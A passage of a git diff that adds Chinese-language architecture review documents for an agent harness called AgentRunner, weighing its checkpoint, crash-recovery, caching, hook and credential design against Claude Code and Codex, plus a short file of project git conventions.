count_tokens、Gemini countTokens 有,OpenAI 无则显式降级为本地估算)。compaction 的 trigger_ratio 用上一轮响应 usage 也能驱动,所以不是硬依赖。 + +### batch-api-fanout — `extension` + +*nice-to-have · both* · 依据:L1 Activity 语义(in-doubt)/ L1 "挂起是显式状态" / L2 关卡3 + +隐藏的坑在 L1 activity 语义:把最长 24h 的 batch job 建模成单个 activity,进程死亡后恢复会命中"有 Started 无 Completed → in-doubt 上浮、绝不静默重跑",把本可按 batch_id 幂等续取的任务错误升级成人工处理。但现有原语足以正确分解:submit 为短 activity(记录 batch_id)→ 显式 WAITING + durable timer → poll/retrieve 各为独立 activity——"挂起是显式状态""timeout 走 durable timer"正是这种形态。顺着抽象组合即可,不动契约。 + +### openai-responses-api — `extension` + +*core · codex* · 依据:原则2 / L3 context assembly / 决策15、15b + +Codex 系模型只走 Responses API。stateful 模式(previous_response_id,历史存在 OpenAI 侧)与原则2"一切历史皆 event、state=fold(event log)"正面冲突——但无需采用:store:false + include reasoning.encrypted_content 的无状态模式让 harness 继续持有全量历史,每轮由 context assembly fold 成 items 数组,与现架构同构,且 OpenAI 自动 prefix caching 直接受益于"prefix 稳定性不变量"。前提是 opaque 透传落实(encrypted reasoning item 必须逐字节回传),其内建 tools 落入 server-side-tools 条的 friction。写第三个 provider adapter 即可,不动 L0-L2。 + +### gemini-caching-model — `extension` + +*important · both* · 依据:L3 context assembly caching 落地句 / L2 关卡3 / 决策17 先例 + +设计原文点名"Gemini 的 context cache 句柄由 provider 实现"且 Gemini 是主 provider。implicit caching(cachedContentTokenCount→归一化 cache_read)完全落进现有记账。explicit CachedContent 有两个增量:句柄是带外运行时状态(同决策17 对 MCP server 的先例,resume 后重建/重挂);存储计费是 $/token/小时的时间累积费,而 budget 关卡"从 event stream 统计"只看每次 activity——需要 provider 在创建/续期时合成计费 event 或把摊销成本记入调用 event,别扭但隔离在 Gemini adapter 与记账口径内;agent loop 场景 implicit 已够经济。 + +### gemini-thinking-function-modes — `clean` + +*important · both* · 依据:agent spec model.thinking / 决策15b + +spec 已用通用形态写 thinking: { budget_tokens } 并注明"provider 各自映射",Gemini 映射到 thinkingConfig(thinkingBudget/includeThoughts),function calling mode 并入 tool_choice capability——这是 15b 的教科书用例,现有机制直接覆盖。唯一暗坑是 Gemini 2.5 函数调用的 thoughtSignature 同样要求原样回传,已并入 opaque 透传条。 + +### stream-retry-rate-limit-semantics — `clean` + +*core · both* · 依据:L1 Activity 语义 / L3 Agent loop "Streaming 的持久化边界" / 决策6 + +这是设计覆盖最完整的一条:retry/backoff、rate limit 处理、model fallback 是"activity 的通用属性";流中断重试后发 TurnDiscarded event,前端据此"重试中"重开流,"绝不静默替换用户已看到的文本";429 retry-after/529 由 activity 重试策略消化,等待走 durable timer 不读墙钟。持久化边界只落组装完成的消息,半截流不会污染 event log。 + +### cross-provider-fallback-history-translation — `friction` + +*important · both* · 依据:L1 Activity 语义 retry 句 / 决策6 / L3 context assembly + +障碍是 L1 把"model fallback"归为与 retry/backoff 并列的"activity 级策略",暗示换 provider 是重试参数级的便宜动作;实际跨 provider fallback 是 L3 context assembly 级工作:历史必须按目标 provider 重渲染——签名 thinking 块/encrypted reasoning 不可移植必须剥离、tool schema 方言(Gemini 的 OpenAPI 子集 vs Anthropic input_schema)重映射、system prompt 落位不同、cache 从零暖起。失败场景:Anthropic 529 风暴触发 fallback 到 Gemini,activity 层若持有已按 Anthropic 渲染的请求直接重发,带签名 thinking 块会被 Gemini 拒绝;正确做法要求 fallback 决策上移到 loop/context assembly 重新 fold,或改 activity 契约为持有归一化请求、execute 内重渲染——两者都要局部改写"fallback 是 activity 通用属性"这条 L1 表述。同 provider 内换 model 无此问题。 + +### capability-declaration-operability — `extension` + +*important · both* · 依据:决策15b / L3 Provider capabilities() + +15b 的 capabilities() + 显式降级对布尔型能力(有无 thinking/caching)可操作,但本领域大半差异是约束型的:4 个断点与最小可缓存长度、structured output 的 schema 子集、thinking 的回传规则、"隐式前缀 vs 显式句柄"是不同种而非有无。capabilities() 需从布尔集合长成带参数的元数据(限额、方言、计费口径),降级决策在 context assembly 组装请求时按元数据执行——纯增量演进,不推翻 15b。唯一兜不住的是"provider 侧执行"的权限语义差异,那属 L2 例外而非能力声明的表达力问题。 + +### model-pricing-metadata — `extension` + +*important · both* · 依据:L2 关卡3 / L3 context assembly 记账句 / 原则4、决策13 + +budget"按真实计费口径记账"和 compaction trigger_ratio 都隐含需要一张 per-model 元数据表:窗口大小、分档单价、cache 写 1.25x/2x 与读 0.1x 系数、batch 5 折、server tool 按次费。设计没写这张表住哪,但原则4"tool 定义以数据文件随包分发"给了现成先例——model 元数据同样做成随包数据、provider 加载映射;或更稳妥地由 provider 在 activity 完成时算好成本记入 event,budget 只累加。两条路都不动契约。 + +### oauth-subscription-auth — `friction` + +*important · both* · 依据:决策15c / L3 Provider 凭据段 + +决策15c 写死"凭据只从环境变量读"。Claude Code 主流用户走订阅 OAuth(token 需刷新、需持久存于 keychain 类凭据库),Codex 走 ChatGPT 登录,同为 OAuth 刷新流。失败场景:长跑 run 中 access token 过期,env var 是进程启动时的静态值,provider 无处取新 token,run 以鉴权失败告终;刷新后的 token 写回哪里在 15c 下没有合法答案。需把 15c 局部放宽为"凭据经 credential provider 抽象获取、绝不进 spec/event/仓库"(保留其真实意图"密钥永不落盘于受控内容")——属修改一条已定决策的措辞,非架构性返工。 + diff --git a/CAPABILITY-REVIEW.md b/CAPABILITY-REVIEW.md new file mode 100644 index 0000000..e2a1a41 --- /dev/null +++ b/CAPABILITY-REVIEW.md @@ -0,0 +1,254 @@ +# AgentRunner 设计能力审查 — 对照 Claude Code / Codex 功能全集 + +> **⚠️ 鉴定注记(并入后归档)**:本审查基于 `2bae06e` 之前的旧版 +> DESIGN.md。其中第一节 #1(per-turn git commit → shadow repo)、#2 +> (barrier 静默 → S7 弱化语义)、#4 的环境块冻结部分,以及第二节 +> #11(进程组语义)、#14(blob sidecar)在 `2bae06e`/`036f5ba` 中已有 +> 等价或更强的解决——现行设计**已不存在 per-turn git commit**(决策 #7 +> 为 `SnapshotStore` + shadow-repo backend,且整块延迟至 S7)。其余 +> 有效条目(in-doubt 类别策略、turn 定义与 turn sweep/`EffectAbandoned`、 +> `ApprovalRequested` 携带关卡判定、两级工具面与注入通道、 +> `CredentialProvider`、upcast/PolicyChanged/优雅停机/bus 双通道契约、 +> wait-class)已并入 DESIGN.md(见本 commit)。第三节 Minor 按原文 +> 记录在案。本文件仅作历史留档,**以 DESIGN.md 为准**。 + +> 审查方法:8 个领域分析(agent loop、上下文、工具与 workspace、权限与 hooks、 +> 多 agent、session 与 surfaces、MCP/skills/plugins 生态、provider 映射)逐项 +> 对照 Claude Code(含 Agent SDK、云端会话)与 OpenAI Codex(CLI/cloud)的功能 +> 面做 gap 分析,外加 5 个针对承重架构决策的压力测试。共覆盖 **166 个功能点**, +> 产出 43 条原始风险,去重归并后核实为下述结论。逐功能点的完整判定见 +> [CAPABILITY-REVIEW-DETAILS.md](CAPABILITY-REVIEW-DETAILS.md)。 + +## 总结论 + +**架构骨架成立,没有发现 blocker。** L0-L2 的核心取舍(actor + journal 一切输入 + +snapshot-resume + 单一 effect pipeline)能撑住 Claude Code / Codex 级 agent 的 +绝大部分核心与新功能:166 个功能点里 61 个被现有机制直接覆盖(clean)、87 个 +顺着现有抽象即可长出(extension)、18 个存在 friction、0 个需要底层重构。 + +但 friction 不是均匀分布的——它们聚成 **少数几个同根的结构性问题**,全部集中在 +几条"已定决策"的具体措辞上。共同特点:**现在改是改几行设计文本,M2/M3 之后改 +是返工实现和测试。** 下面按"必须现在改"和"现在写一句话契约、以后就是普通扩展" +两档列出。 + +--- + +## 一、建议在写代码前修订的设计决策(7 项) + +### 1. 决策 #7:「workspace 内 per-turn git commit」必须换成 shadow git repo `严重` + +这是全审查最高危的单点,三个领域分析和两个压力测试独立命中同一根因。 +workspace 通常**就是用户的 git repo**,而 coding agent 的日常操作就是跑 git: + +- **污染与破坏双向发生**:checkpoint commit 落在用户分支上 → agent 跑 + `git log/status` 看到失真状态;用户说"提交并 push" → 中间态快照(可能含误卷 + 入的临时文件)被推上远端;agent 跑 `git rebase/reset/commit --amend` → 悬空 + 掉 checkpoint commit,被 gc 回收——设计承诺的"一等状态、不可删除"被 agent 的 + 完全正常操作静默摧毁。 +- **rewind 会清掉用户手改**:`恢复到对应 commit` 在用户 repo 上即 reset --hard, + 用户在 IDE 里的并发修改无告警丢失;设计没有 dirty-state 检测,也没有 + "agent 改动 vs 用户改动"的任何区分维度。 +- **覆盖度被 git 追踪语义绑死**:gitignored/untracked 文件拍不进快照但按 L1 的 + 定义在 rewind 承诺内;submodule/嵌套 repo 内层完全不入快照;非 git 目录只能 + 对用户目录偷偷 `git init`;巨型 monorepo 每 turn 全量 add 是秒级延迟。 +- **同一 workspace 多 session 并发**(Claude Code 用户日常)在单条 git 历史上 + 互相踩踏。 + +Claude Code 的真实实现正是 **shadow git repo**(独立 GIT_DIR + 私有 index, +共享 worktree,对用户 repo 零写入),就是为了消除以上全部冲突。 + +**最小改法**:决策 #7 的实现措辞改为 shadow repo;快照覆盖策略显式化(harness +自有 exclude 规则,untracked 默认入快照、配体积上限);rewind 由 checkpoint +元数据里的"该 turn agent 实际写过的文件清单"驱动(edit-class 调用本就记录在 +EffectResolved 里),restore 前 diff 出清单外差异时要求确认;决策 #3 补一句 +shadow store 属于 workspace 持久状态。**语义承诺全部保留,改的只是载体; +"便宜、可 diff"不变。** + +### 2. checkpoint barrier 的「全部子 agent 静默」前提,与后台/长驻任务互斥 `严重` + +设计通篇假定 activity 在 turn 内有界完成,但 `run_in_background` bash、dev +server、长跑/长驻子 agent(pub/sub blackboard 模式的定义就是不结束)是 +Claude Code 的既有核心功能。后果: + +- 只要有一个后台任务/子 agent 活着,"全部子 agent 静默"永不成立 → **整段 + 会话打不出一个 barrier,rewind/fork(M5 头牌功能)恰在用户最想用的时段整段 + 不可用**,且失效是静默的。 +- 即便放宽允许 fork,复制出的切面里含 Started 无 Completed 的长活 activity, + 新 run 一 resume 就触发 in-doubt 上浮——fork 出生即报错。 +- 进程退出 = 后台 dev server 一起死,resume 时被当成事故(in-doubt)处理, + 而这是用户有意为之的后台任务。 + +**最小改法**:沿决策 #17(MCP server 带外状态)的先例,给 activity 语义增加 +**detached 类别**——启动即以 handle(task id/pgid)作为结果 Completed 落盘, +后续输出读取是各自独立的短 activity;barrier 谓词把 detached 排除在外; +**解耦打点与静默**:workspace commit 与对话 snapshot 照常 per-turn 打点, +rewind 语义定义为"先对活跃子树执行 interrupt(协作取消机制现成)再恢复"; +仅纯 fork 保留一致切面要求。 + +### 3. 决策 #6:in-doubt 一刀切「上浮转人工」——崩溃恢复的主导形态会退化成人工 triage `严重` + +agent 的 wall-clock 几乎全部耗在 LLM 调用与 bash 里,任何非优雅退出(关终端、 +休眠、OOM)**几乎必然**砸中一个 in-flight activity——in-doubt 不是设计文本暗示 +的窄窗口,而是崩溃的主导形态。按现契约每次 resume 都以报错/人工确认开场; +headless/scheduler 无人值守 run 遇 in-doubt 直接卡死。对照:Claude Code 崩溃后 +resume 把被打断的 tool 渲染成 interrupted 静默续行,无人工环节。 + +**最小改法**:把单一「上浮」改成**按 tool 类别的数据化 in-doubt 策略**(类别 +标签已是 tool 定义数据):LLM 调用 → 自动重发 + TurnDiscarded(机制现成); +read-class → 直接重跑;execute/edit-class → 渲染 `[interrupted by crash]` +error tool_result 继续 loop(决策 #9 通道现成)。「绝不静默重跑」只保留给 +非幂等类别,「转人工」只留给显式配置的高危工具。只改决策 #6 的措辞与一张 +策略表,Started/Completed 契约不动。 + +### 4. Prefix 不变量与动态现实的矛盾:缺「消息流注入通道」和「两级工具面」两个概念 `严重` + +三个同根表现: + +- **环境块自相矛盾**:L3 把"git 状态、日期"排进 system prompt 固定段,同节又 + 宣布 prefix 稳定是生死不变量——git 状态每个 edit turn 都变。且环境块/CLAUDE.md + 是未 journal 的外部输入,违反决策 #4,还会让"activity 缓存式 replay 测试" + 静默失真(重放时拼出与录制不同的请求)。 +- **plan mode 若按字面实现打爆缓存**:决策 #10 的"工具面过滤"若作用于 API tools + 参数,每次 shift+tab 进出 = 全上下文 cache 失效(Anthropic 缓存层级 + tools→system→messages)。Claude Code 实际不改 tools 参数——收窄由 permission + 层 deny 实现,ExitPlanMode 常驻。 +- **动态 tool 面没有经济落点**:MCP `list_changed`、deferred tool loading + 在"禁止或整体换代"的二元规则下,唯一合法动作是反复全量换代,缓存命中率 + 趋近于零。 + +**最小改法**:(a) 环境块与 memory 层 session 开始时快照并 journal 成 event, +context assembly 只从 event 拼装;(b) 新增 **turn 边界合成注入通道**(复用 +steering 的"journal 后在边界消费"机制),git 状态更新、CLAUDE.md 重载、将来的 +hook additionalContext 全走这条通道进消息流而非改 prefix;(c) 区分 +**advertised 工具面**(进 prefix,session 内稳定)与 **permitted 工具面** +(L2 关卡数据,随 mode 任意变),mode 的"工具面过滤"定义为后者;(d) tool +registry 分两级:prefix 级(静态 + 启动时已发现)与消息流级(mid-run 变更以 +schema event 为源、注入消息流),整体换代只发生在 compaction/resume 等天然 +重写点。 + +### 5. hooks 定位过窄:lifecycle hooks 无处可挂 + EffectResolved 单条 event 有时序漏洞 `严重` + +Claude Code 的 hook 全家桶里,**Stop/SubagentStop(可拒绝停止、强制 loop 继续)、 +UserPromptSubmit(注入上下文/block 用户输入)、SessionStart/SessionEnd/ +PreCompact/Notification** 都不挂在任何 effect 上——现架构里它们没有执行点也没有 +记录通道;若不 journal 注入内容,resume 后 fold 重建的对话与实际发给模型的内容 +不一致,直接破坏"state 是纯 fold"不变量。此外决策 #8 的单条 EffectResolved +在 **ask 长挂起**场景有漏洞:pre-hook 已执行(有副作用)→ park 数天 → 进程 +重启,hook 执行事实只存在于内存;恢复时重跑违反自家红线、跳过则审计记录缺失。 + +**最小改法**:(a) 把 hooks 从"L2 管线关卡"泛化为 **hook site 列表**(管线 +pre/post 是其中两个 site;loop lifecycle——start/stop/compact/user-input——是 +另外几个),所有 site 共享同一执行器与同一记录纪律(判定与注入内容 journal 成 +event,恢复不重跑);(b) ask 路径的 ApprovalRequested event 携带此前已完成 +关卡的判定,EffectResolved 仍作终态汇总——只改一处 event payload 定义。 + +### 6. interrupt / steering 的精确语义没定:有一个安全级漏洞 `严重` + +- **"turn"承载了 snapshot、per-turn commit、max_turns、steering 消费点、rewind + barrier 至少五个机制,但全文未定义**。按不同读法,steering 的体感差一个数量级 + (Claude Code 是当前 tool 跑完立即注入,不等同轮其余 tool)。 +- **安全漏洞**:Esc 时刻处于"已放行未启动"和"审批挂起中"的 call 没有终态 + event。若不落盘,fold 缺配对 tool_result 违反 API 约束;若留着 + ApprovalRequested 无终态,**crash-resume 后 run 重新进入 WAITING_APPROVAL, + 迟到的应答会执行一条用户已用 Esc 放弃的危险调用**(如 `git push --force`)。 + +**最小改法**:显式定义 turn = 一次 LLM 调用 + 其 tool 执行周期;把 **turn +sweep** 定为一等机制——InterruptReceived 的 fold 语义 = 该时刻所有未终态 call +一律合成 interrupted tool_result 并作废其 ApprovalRequested(补一条 +EffectAbandoned 终态 event);审批应答按 request id 对已作废请求 no-op; +steering 消费点改写为"最早可配对点"。 + +### 7. 决策 #15c:「凭据只从环境变量读」装不下三类主流认证 `严重` + +Claude Code 主流用户走**订阅 OAuth**(refresh token 持久化 + 过期刷新 + 回写), +Codex 走 ChatGPT 登录,MCP streamable HTTP 需要 OAuth token 存储,Bedrock/Vertex +走云 SDK 凭据链——都不是"读一个静态环境变量"能表达的。失败场景:长跑 run 中 +access token 过期,刷新后的 token 在 15c 下无处合法落盘,进程一死即丢。 + +**最小改法**:15c 改为「凭据经 **CredentialProvider 接口**解析;静态 env 是 +其一种实现;受管 token store 是 event log 与 workspace 之外的第三个持久位置」, +保住真实意图"密钥绝不进 spec/event log/仓库"。 + +--- + +## 二、现在写一句话契约、以后就是普通 extension 的(8 项) + +| # | 问题 | 一句话契约 | +|---|------|-----------| +| 8 | **durable timer 没有触发者**:进程不在时,timeout/cron/审批过期/离线唤醒全部哑火,"等几天成本相同"的承诺缺执行主体 | L4 命名一个 **supervisor 常驻角色**:维护 timer 派生索引、到期 journal TimerFired 并发起 resume、收容 scheduler;CLI-only 部署显式降级为"下次 resume 补火" | +| 9 | **决策 #18 跨版本 resume**:周更 CLI 作废全部存量会话;event 被 4 个独立 fold 消费,拖久了 migration 从纪律问题滑向结构问题 | 所有 fold 消费者只经 EventStore 单一读路径,该路径预留当前为恒等的 **upcast 阶段**;拒绝检查挂 event-schema 版本号而非代码版本 | +| 10 | **policy 热更新**("always allow"写回 settings)是 log 外副作用:崩溃窗口丢失;settings 若在 workspace 内还会被 rewind 回滚——**已收紧的 deny 静默复活** | 新增 **PolicyChanged event**(先 journal 后写盘,幂等补做);harness 配置路径显式排除出快照/rewind 范围 | +| 11 | **bash 无进程组语义**:crash 孤儿继续改 workspace,掏空"恢复不碰文件系统"的前提;Esc 杀不干净孙进程(端口占用) | activity 契约补:bash 以 setsid 新进程组启动,**pgid 随 ActivityStarted journal**;取消 = killpg;resume 先按 pgid 清算孤儿再判 in-doubt | +| 12 | **server 形态无隔离与停机故事**:单 loop 被大 fold 饿死;例行 deploy = 全部在飞 activity 变 in-doubt 转人工 | 推荐拓扑 **session-per-process**(core-as-library + 文件态持久状态天然支持);定义优雅停机:SIGTERM → 协作取消全部在飞 activity(落 ActivityCancelled)→ snapshot → 退出 | +| 13 | **"分布式化是换 transport"低估契约**:ephemeral bus 跨进程后丢一条审批冒泡是"符合设计"的行为 | L0 bus 契约分**双通道**:ephemeral topic(可丢,delta 类)与 guaranteed send(接收方 journal 后 ack);frontend 重连必须从 event log 对账未决状态 | +| 14 | **图片/附件没有存储归属**:base64 内联毁掉 JSONL 可读性,存临时路径则 resume/fork 后 dangling | event store 补 **content-addressed blob sidecar**(event 存 hash+mime+size),声明为 event log 存储的一部分;binary 豁免文本截断 | +| 15 | **event log 明文 secrets**:fold 完整性堵死事后擦除,唯一自洽的擦除点在写入之前,而管线里没有这个点 | L2 Execute 记录点之前预留(当前为空的)**scrub 阶段**;EventStore 接口预留 at-rest 加密位 | + +## 三、Minor(记录在案即可,不必现在动设计) + +- **Gemini 显式 cache 句柄**是有生命周期、按 token·hour 持续计费的带外资源, + "挂起几天成本相同"对它不成立 → 原型期把 caching capability 限定为无状态 + 请求内标记(Anthropic cache_control + Gemini 隐式缓存),显式句柄列为推迟 + 能力并按决策 #17 先例预留(create/renew/delete 记 cost event)。 +- **provider 侧执行的工具**(web_search、code_execution、MCP connector)副作用 + 发生在 API 内部,per-call permission/pre-hook 无处插入 → 文档化一个"provider + 执行类工具"例外类别:请求期整体审批 + 响应期 post-hoc 观测记账。 +- **跨 provider fallback** 不是 activity 级重试参数:签名 thinking 块不可移植、 + tool schema 方言不同,历史必须重新 fold/渲染 → fallback 决策上移到 + loop/context assembly 层;同 provider 内换档不受影响。 +- **Codex on-failure 沙箱升级审批**(沙箱内失败 → 请求出沙箱重试)需要管线 + "执行失败后回到审批关卡"的回边 → loop 检测沙箱类失败后合成升级参数的新 + effect 重走管线,定义两条 EffectResolved 对同一 tool_use 的审计语义。 +- **AskUserQuestion 类等输入工具**若实现为阻塞 activity,跨崩溃会被 in-doubt + 误杀 → tool 定义加 interactive/wait-class 标签,execute 走 WAITING_INPUT + park 路径而非阻塞 activity。 +- **deterministic workflow 编排**(Workflow 脚本式多 agent):决策 #5 砍掉 + code replay 的隐藏代价是编排脚本必须手写成显式状态机(每步落 event)——能做, + 但要在 multi-agent 文档里写明这个纪律,别让 workflow 作者自己发现。 +- **MCP sampling/elicitation**:server 在 activity 执行中途反向请求,等待不在 + 任何边界上,durable park 承诺对它不成立 → 原型明确不支持,将来需要"activity + 内非持久等待"类别。 +- **teleport 是架构红利**(两处持久状态 + snapshot 可弃 + MCP 带外,打包即迁移), + 仅缺环境指纹:RunStarted 记 cwd/平台指纹,resume 不匹配时 journal 一条 + EnvironmentChanged 作为显式换代点并向模型注入说明。 +- **thinking 块 opaque passthrough**:归一化内部表示必须在**定型时**就预留 + provider 不透明字段(Anthropic signature/redacted 密文、OpenAI encrypted + reasoning)并保证 event→fold→请求全程字节保真——事后补字段会导致已存日志 + 无法合法回放给 API。 + +--- + +## 四、设计强项(审查确认可以放心押注的) + +- **单一 effect pipeline** 是全设计最值钱的决定:并行 tool call 混合审批、 + 失败面向模型的渲染(决策 #9)、permission modes 作为数据、审批不阻塞已放行 + 调用——Claude Code 最难缠的这批行为都被四关卡 + EffectResolved 直接覆盖。 +- **journal + fold + snapshot(不做 code replay)**用 ~10% 成本拿到了 crash + 恢复、长审批 durable park、steering 不丢、可审计时间线;166 个功能点里没有 + 任何一个真正需要 Temporal 式确定性 replay。 +- **capability 抽象(15b)**方向正确:thinking/caching/structured output/effort + 各家映射 + 显式降级,是支撑三 provider 的正确形状(需补 opaque passthrough)。 +- **MCP schema 记录为 event、server 生命周期带外**(决策 #17)是准确的切分, + 并且是本审查多处修复建议的可复用先例。 +- **skills 沿用 Claude Code 约定、tool 定义是数据、core 是库**:生态接入 + (plugins/slash commands/SDK in-process tools)全部顺着这三条长,无一 friction。 + +## 五、覆盖统计 + +| 领域 | clean | extension | friction | blocker | +|------|------:|----------:|---------:|--------:| +| agent loop | 13 | 8 | 1 | 0 | +| 上下文管理 | 8 | 14 | 1 | 0 | +| 工具与 workspace | 6 | 10 | 2 | 0 | +| 权限与 hooks | 6 | 11 | 4 | 0 | +| 多 agent | 8 | 8 | 2 | 0 | +| session 与 surfaces | 7 | 10 | 2 | 0 | +| 生态(MCP/skills/plugins) | 8 | 13 | 2 | 0 | +| provider 映射 | 5 | 13 | 4 | 0 | +| **合计(166)** | **61** | **87** | **18** | **0** | + +> 注:18 个 friction 全部归并进上文第一、二、三节的条目;逐功能点判定与理由见 +> [CAPABILITY-REVIEW-DETAILS.md](CAPABILITY-REVIEW-DETAILS.md)。 +> 审查的对抗性核实阶段按提交人要求压缩,关键论断(shadow git、缓存层级失效 +> 规则、plan mode 实现方式、steering 注入时机、Stop hook 语义、OAuth 主流路径、 +> crash-resume 行为)已逐条对照两家产品的真实行为人工核实。 diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000..401a19a --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,32 @@ +# AgentRunner — 项目约定 + +## Git 规则(硬性) + +- **只用 main 分支。** 不创建任何其他分支;不在其他分支上工作。 +- **每次改动完成后立即 commit 并 push 到 `origin/main`。** 不留未推送 + 的本地提交,不留未提交的工作区改动。单人原型项目——分叉和滞后的 + 代价远大于中间态提交的噪音。 +- **每个 session 开始时先 `git fetch origin main` 并 fast-forward**, + 确保永远在最新代码上工作(曾发生过基于过时 DESIGN.md 产出整份 + review 的事故)。 +- `.env` 已 gitignore(存本地凭据如 `GEMINI_API_KEY`),永不提交。 + +## 文档体系(改动任何一份都要检查与其他两份的一致性) + +- `DESIGN.md` — 架构 source of truth(是什么、为什么)。 +- `STAGES.md` — 七阶段分期(切成什么块、每块完成标志)。 +- `PLAN.md` — step-by-step 实施计划(怎么做);§0.5 是 loop-mode + 执行协议,§0.6 是 acceptance test 框架。实施顺序以 PLAN 为准。 +- 动 DESIGN.md 不变量必须走 PLAN §末尾的"不变量变更流程" + (停下、写清冲突、单独 review),禁止代码里先绕。 + +## 语言与实现约定 + +- 叙述用中文,技术术语/代码/标识符用英文。 +- 实现语言 Go 1.23+(决策 #1);主 provider Gemini、次 Anthropic。 +- 实现进度记录在 `PROGRESS.md`(执行协议规定的决策台账)。 + +## 历史留档(只读,以 DESIGN.md 为准) + +- `CAPABILITY-REVIEW*.md`、`DESIGN-SUGGESTIONS.md`、`FEATURES.md` + 是基于旧版设计的外部审查,有效结论已并入 DESIGN.md,顶部有鉴定注记。 diff --git a/DESIGN-SUGGESTIONS.md b/DESIGN-SUGGESTIONS.md new file mode 100644 index 0000000..ef224e5 --- /dev/null +++ b/DESIGN-SUGGESTIONS.md @@ -0,0 +1,222 @@ +# DESIGN.md 修订建议清单 + +> **⚠️ 已处理归档**:本清单基于旧版 DESIGN.md(`2bae06e` 之前)。 +> 过时项与有效项的鉴定见 [CAPABILITY-REVIEW.md](CAPABILITY-REVIEW.md) +> 顶部注记;有效项已并入 DESIGN.md。本文件仅作历史留档。 + +> 来源:对照 Claude Code / Codex 166 个功能点的能力审查 +> ([CAPABILITY-REVIEW.md](CAPABILITY-REVIEW.md),逐项明细见 +> [CAPABILITY-REVIEW-DETAILS.md](CAPABILITY-REVIEW-DETAILS.md))。 +> 用法:在后续 session 里按本清单逐条更新 DESIGN.md。每条给出 +> **改哪里 / 为什么 / 改成什么**。A 组是结构性修订(建议全部采纳后再动手写 +> 代码);B 组是一句话契约补丁;C 组是备忘(roadmap 对应阶段再展开)。 +> 采纳时可在条目前打勾追踪。 + +--- + +## A. 结构性修订(7 条) + +### A1. 决策 #7 / L1「Checkpoint 与 workspace」:per-turn git commit 改为 shadow git repo + +- [ ] **改哪里**:L1「Checkpoint 与 workspace」一节 +「已定决策」表 #7、#3。 +- **为什么**:workspace 通常就是用户的 git repo,checkpoint commit 落在用户 + 分支上会:污染 agent 看到的 `git status/log`、被用户 `git push` 推上远端、 + 被 agent 的 `rebase/reset/amend` 悬空后 gc 回收("一等状态不可删除"被正常 + 操作静默摧毁)、与并发 git 操作竞争 index.lock;非 git 目录要偷偷 + `git init`;同 workspace 多 session 在同一条历史上互相踩踏。 +- **改成什么**: + - 实现载体改为 **harness 私有 shadow git repo**:独立 `GIT_DIR` + 私有 + `GIT_INDEX_FILE`,共享用户 worktree,checkpoint 引用存 shadow refs, + **用户 repo 只读不写**;per-session 独立 shadow dir(顺带解决多 session + 并发)。 + - 显式写出**快照覆盖契约**:harness 自有 exclude 规则(untracked 默认入 + 快照,配体积上限与黑名单如 node_modules);声明 submodule/嵌套 repo 内层 + 不在 rewind 承诺内;非 git 目录在 shadow 方案下天然支持。 + - **rewind 安全语义**:checkpoint 元数据附带该 turn agent 实际写过的文件 + 清单(来自 edit-class 调用的 EffectResolved,零新机制),rewind 默认只 + 回退清单内文件;restore 前 diff 出清单外差异(用户手改)时要求确认。 + - 决策 #3 补一句:shadow store 属于 workspace 持久状态的一部分。 + +### A2. L1 activity 语义 + L4 barrier:增加 detached 类别,解耦「打点」与「静默」 + +- [ ] **改哪里**:L1「Activity 语义」、L1/L4 的 checkpoint barrier 定义、 + L3 Multi-agent。 +- **为什么**:`run_in_background` bash、dev server、长驻子 agent(pub/sub + blackboard 模式)是既有核心功能,但现设计里 activity 隐含"turn 内有界完成、 + 被宿主进程 await"。后果:任一后台任务存活期间"全部子 agent 静默"永不成立 + → 整段会话打不出 barrier,rewind/fork 静默失效;fork 出的切面含未完成 + activity,resume 即触发 in-doubt;进程退出连带杀死用户有意留下的后台任务, + resume 时还被当事故处理。 +- **改成什么**: + - activity 增加 **detached 类别**(沿决策 #17 带外状态的先例):启动即以 + handle(task id + pgid + 输出重定向路径)作为结果 Completed 落盘;后续 + 输出读取是各自独立的短 activity;detached 豁免 in-doubt 上浮与孤儿 + reap;resume 时按 handle 探活,失效 handle 的读取按决策 #9 渲染 error + tool_result。 + - **barrier 谓词排除 detached**;打点与静默解耦:workspace commit 与对话 + snapshot 照常 per-turn 打点;**rewind 语义 = 先对活跃子树执行 interrupt + (协作取消现成)再恢复**;仅纯 fork(不打断原会话)保留一致切面要求。 + +### A3. 决策 #6:in-doubt 单一「上浮转人工」改为按 tool 类别的策略表 + +- [ ] **改哪里**:L1「Activity 语义」in-doubt 段 + 决策表 #6。 +- **为什么**:agent 的 wall-clock 几乎全在 LLM 调用与 bash 里,任何非优雅 + 退出几乎必然砸中 in-flight activity——in-doubt 是崩溃的主导形态而非窄窗口。 + 按现契约每次 crash-resume 都以报错/人工确认开场,headless/scheduler 无人 + 值守直接卡死。对照:Claude Code 崩溃恢复把被打断工具渲染成 interrupted + 静默续行。 +- **改成什么**:in-doubt 处理由 tool 类别标签(read/edit/execute-class, + 已是 tool 定义数据)驱动:LLM 调用 → 自动重发 + TurnDiscarded(机制现成); + read-class → 直接重跑;execute/edit-class → 渲染 `[interrupted by crash]` + error tool_result 继续 loop(决策 #9 通道)。「绝不静默重跑」只保留给 + 非幂等类别,「转人工」只留给显式配置的高危工具。Started/Completed 契约不动。 + +### A4. L3 context assembly:环境快照 journal 化 + 消息流注入通道 + 两级工具面 + +- [ ] **改哪里**:L3「Context assembly」全节、L2/决策 #10 的 mode 定义、 + L3 MCP 节。 +- **为什么**:三个同根矛盾——(1) 环境块(git 状态/日期)与 CLAUDE.md 被拼进 + system prompt 固定段,但它们是动态且未 journal 的外部输入:违反决策 #4、 + 与 prefix 不变量自相矛盾、令 activity 缓存式 replay 测试静默失真。 + (2) 决策 #10 的"工具面过滤"若作用于 API tools 参数,plan mode 每次进出 = + 全上下文缓存失效(Anthropic 缓存层级 tools→system→messages)。(3) MCP + `list_changed` / deferred tool loading 在"禁止或整体换代"二元规则下没有 + 经济可行的落点。 +- **改成什么**: + - 环境块与 memory 层在 session 开始时**快照并 journal 成 event** + (EnvSnapshot/MemoryLoaded 类),context assembly 只从 event 拼装。 + - 新增 **turn 边界合成注入通道**(复用 steering 的"journal 后在边界消费" + 机制):git 状态更新、CLAUDE.md 重载、目录级 CLAUDE.md 按需加载、将来的 + hook additionalContext 全部作为消息流注入,不改 prefix。 + - 区分 **advertised 工具面**(进 prefix,session 内稳定)与 **permitted + 工具面**(L2 permission 关卡数据,随 mode 任意变):mode 的"工具面过滤" + 定义为后者,模式外工具按决策 #9 渲染 deny error tool_result, + ExitPlanMode 常驻工具列表。 + - tool registry 分两级:prefix 